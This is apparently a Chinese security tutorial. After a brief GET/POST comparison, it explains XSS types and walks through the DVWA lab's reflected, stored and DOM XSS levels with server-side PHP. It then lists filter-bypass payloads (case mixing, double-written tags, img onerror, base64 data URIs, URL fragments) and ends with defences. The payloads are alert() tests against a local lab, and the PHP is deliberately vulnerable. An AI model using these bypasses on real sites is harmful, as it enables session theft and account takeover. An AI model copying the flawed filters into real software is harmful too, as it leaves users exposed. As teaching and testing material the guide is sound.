每天一个小知识之GET、POST区别
1、GET是从指定的资源请求数据,POST是向指定的资源提交要被处理的数据。
2、GET参数是带在URL后面,POST请求放在请求体Request Body中。
3、GET方法提交的数据大小长度有限制,POST方法没有对长度进行限制。
HTTP协议规范没有对URL长度进行限制。GET方法提交数据大小的限制是特定的浏览器及服务器对它的限制。IE对URL长度的限制是2083字节(2K+35)
4、GET请求能够被cache,POST不进行缓存。
GET请求能够被保存在浏览器的浏览历史里面。
跨站脚本攻击XSS
XSS备忘录里记录了多种XSS的绕过方式,为了给专业安全测试人员提供一份跨站脚本漏洞检测指南
XSS备忘录
一、XSS介绍及危害
1、介绍
XSS又叫CSS(Cross-SiteScripting),跨站脚本攻击。攻击者往Web页面里注入可执行解释的payload(脚本代码)。当用户访问该网页时,嵌入其中恶意代码会自动加载并执行,从而达到攻击者目的。
2、危害
1. 网络钓鱼,包括盗取各类用户账号;
2. 窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;
3. 劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等;
4. 强制弹出广告页面、刷流量等;
5. 网页挂马,进行恶意操作,例如任意篡改页面信息、删除文章等;
6. 进行大量的客户端攻击,如DDoS攻击;
7. 获取客户端信息,例如用户的浏览历史、真实IP、开放端口等;
8. 控制受害者机器向其他网站发起攻击;
9. 结合其他漏洞,如CSRF漏洞,实施进一步作恶;
10. 提升用户权限,包括进一步渗透网站;
11. 传播跨站脚本蠕虫等。
二、漏洞利用类型及利用场景
1、反射型XSS
反射型XSS攻击一般是攻击者通过特定手法,诱使用户去访问一个包含恶意代码的URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。
此类XSS攻击通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端Cookies或进行钓鱼欺骗。
2、存储型XSS
攻击者事先将恶意代码上传或者储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。这意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,因此存储型XSS攻击的危害会更大。此类攻击一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。
3、DOM型XSS
客户端的脚本程序可以动态地检查和修改页面内容,而不依赖于服务器端的数据。例如客户端如从URL中提取数据并在本地执行,如果用户在客户端输入的数据包含了恶意的JavaScript脚本,而这些脚本没有经过适当的过滤或者消毒,那么应用程序就可能受到DOM型XSS攻击。需要特别注意以下的用户输入源document.URL、location.hash、location.search、document.referrer等。
三、DVWA对XSS漏洞详解
1、反射型XSS
(1)Low级别
在该级别下,输入框中输入taozi,返回的值仍为taozi
我们尝试输入一个html标签,<script>alert('taozi')</script>
漏洞成功利用,这里可以使用html标签获取想要的信息了
查看一下服务器端的代码
可以看到,这里对获取到的name没做任何处理,直接引用的name参数值
(2)Medium级别
在该级别下进行low级别同样的测试时,发现只能显示标签里的内容,猜测对script标签进行了过滤
尝试修改一下script标签的大小写,<ScrIpt>alert('taozi')</script>
发现能够成功利用该漏洞
查看一下服务器端的代码
可以看到这里对script标签进行了一个过滤,使用str_replace函数将script标签替换成了空格,我们尝试使用在script标签中嵌套script标签,看能否进行绕过
使用<sc<script>ript>alert('taozi')</script>
发现也能成功绕过
该级别的漏洞利用有两种方式
1)大小写混合绕过
<ScrIpt>alert('taozi')</script>
2)双写绕过
<sc<script>ript>alert('taozi')</script>
(3)High级别
在该级别下进行script标签进行测试时,发现只能显示>,说明对script标签进行了更为严格的过滤
尝试换img标签,输入一个不存在的img地址,onerror指定一个alter标签,<img src=1 onerror=alert('taozi')>
发现能够成功利用
onerror事件会在文档或图像加载过程中发生错误时被触发
应为src=x本身就是一个错误代码,所以触发事件执行
查看一下服务端的代码
可以看到这个级别下,对输入的script标签进行了更为严格的过滤,其中preg_replace() 函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。
这里除了img标签进行绕过外,还能使用body、iframe等标签进行绕过,这里就不再进行展示了
(4)Impossible级别
在该级别下输入script标签进入绕过,发现直接将标签的内容进行了打印,img标签也是如此
查看一下服务端代码
发现使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素。
2、存储型XSS
打开界面是一个留言板,一般留言板是XSS漏洞存在的常见页面,尝试在留言板输入攻击代码。
(1)Low级别
在留言板上name输入“taozi”,message输入一个<script>alert('taozi')</script>
发现能够弹出弹窗,且每次进入这个页面都会弹出该弹窗,说明已经在留言板上留下了这个js代码
尝试在name框输入标签,发现name框对输入的数据有长度限制,我们修改一下前端的代码
将最大数据长度改为了10000,在进行测试
发现也能进行绕过
查看一下服务端的代码
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
这里对几个函数进行一下介绍
trim(string,charlist)
函数用于删除字符串左右两边的空格或预定义字符,并返回修改后的字符串,预定义字符包括、\t、\n、\x0B以及\r,可选参数charlist支持添加额外需要删除的字符。
stripslashes(string)
函数删除字符串中的反斜杠。
mysql_real_escape_string(string,connection)
函数会对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。
从代码可以看出,这里对输入并没有做XSS方面的过滤与检查,且存储在数据库中,因此这里存在明显的存储型XSS漏洞。
(2)Medium级别
在该级别下进行测试,发现name还是有长度限制,先试试能不能再message框进行绕过
在message框下输入<script>alert('taozi')</script>
根据返回的值,发现不能进行绕过,直接将script标签进行了过滤,输出的值为标签里的内容
那再尝试一下大小写混合和双写能否进行绕过
发现也是不行的
那只能在name框进行测试了,跟low级别一样,name框的输入有长度限制,修改一下前端页面的最大长度
使用<script>alert('taozi')</script>
无法绕过
发现使用双写和大小写混合能够成功绕过<scr<script>ipt>alert('taozi')</script>
<sCriPt>alert('taozi')</script>
查看一下服务端代码
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
代码中函数的介绍
strip_tags
函数用于剥去字符串中的HTML、XML以及PHP的标签
addslashes()
函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串
从代码里可以看到对name的处理方式是将script标签替换为空,也就是使用大小写混合和双写能够顺利绕过,对message框的处理是使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码。
(3)High级别
依旧是修改name框的最大限制长度,对注入的双写和大小写混合script标签都被忽略了,只能在尝试img标签
<img src=1 onerror=alert('taozi')>
发现能够正常绕过,猜测是对script标签进行了较为严格的过滤
查看一下服务端的代码
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
从代码能看出,对name框中的参数做了正则匹配,过滤掉script标签,但并未对别的标签做过滤
对message框中的参数进行的还是XSS过滤
(4)Impossible级别
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
在该级别下,对name框中的参数也进行了严格的过滤,将name框和message框中的参数都进行了htmlspecialchars实体化
3、DOM型XSS
打开是一个带下拉框的页面,当我们选择某个选项时,这个选项便会写入到DOM节点中,是一个XSS DOM漏洞典型的地方。
(1)Low级别
尝试直接在url中加入攻击代码
http://127.0.0.1/DVWA/vulnerabilities/xss_d/?default=English<script>alert('taozi')</script>
成功弹出弹窗
查看一下前端代码
可以看到,从选择列表选择的值赋值给default附加到url后,这段js代码将url中default的值赋给option标签的value属性节点和文本节点。
查看一下服务端代码
发现没有进行任何防护,可直接进行利用
(2)Medium级别
利用low级别的方法,无效
查看一下服务端代码
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];
# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}
?>
通过代码可以看到对script标签进行了过滤
stripos
函数返回字符串在另一个字符串中第一次出现的位置
根据网页源代码,构造一个payload
</options></select><img src=1 onerror=alert('taozi')>
对前面的options标签和select标签进行一个闭合,然后使用img标签进行绕过,服务端代码只对script标签进行了过滤,所以我们可以使用img标签进行绕过
还有一个种绕过方式,就是
?#default=<script>alert('taozi')</script>
这种方式就是URL的部分发往服务器时#号后面的并不会发送到服务器,但是javascript代码还会正常读取,所以利用这个特性来绕过服务器端的检查。
(3)High级别
查看一下服务端代码
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}
?>
可以看到,这里使用了白名单,只有在白名单列表中的才允许通过
我们还是使用#进行绕过
?#default=<script>alert('taozi')</script>
成功绕过
(4)Impossible级别
查看一下服务端代码
<?php
# Don't need to do anything, protction handled on the client side
?>
这里没有做什么处理,看了一下help文档,说是浏览器会精确的对url进行编码,防止xss攻击。
四、XSS绕过
1、<>被过滤的情况下
假如在特殊标签下的时候,可以构造一些事件触发
autofocus onfocus=aler('taozi')
2、alert被过滤的情况下
编码、prompt和confirm也可以弹窗
base64编码
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGFvemknKTwvc2NyaXB0Pg==>
url编码
<a href=data:text/html;%3Cscript%3Ealert('taozi')%3C/script%3E>
3、on事件被过滤的情况下
<form><button formaction=javascript:alert('taozi')>M
可以执行js的属性
formaction action href xlink:href antofocus src content data
4、其他
标签和属性之间并不是只能出现空格
<img/src=x onerror=alert('taozi')>
有时候并不需要一个合法的标签:
<M/onclick="alert('taozi')">M
五、防御
1、阻止恶意代码注入
2、阻止恶意操作执行
不管是反射型还是存储型xss,都能通过服务端过滤进行防御:
(1)黑名单:过滤特殊符号及字符
如<、>、%、#、/、”、’、;、(、)、script、 svg、 object、 on事件等
(2)白名单:只允许特定类型或符号
根据输入的数据特征限制使用的类型,如年龄限制为数字类型;输入类型为字符型限制为仅可使用大小写的26个字母、数字-及_等
(3)编码及转义
输出在标签或属性中进行HTML编码;
输出在script标签或事件中进行JavaScript编码;
输出在url中进行ur1编码。
(4)cookie 中设置httponly
setcookie将httponly选项设置为true,防范cookie劫持
(5)确保执行脚本来源可信
开发者明确告诉客户端,哪些外部资源可以加载和执行(CSP策略)
(6)不使用有缺陷的第三方库
PHP:htmlentities() 、htmlspecialchars()
Python:cgi.escape()
ASP:Server.HTMLEncode()
ASP.NET:Server.HtmlEncode() 、Microsoft Anti-Cross Site Scripting Library
Java:xssprotect(Open Source Library)
Node.js:node-validator
htmlspec ialchars默认配置是不过滤单引号的。只有设置了:quotestyle选项为ENT QUOTES才会过滤单引号。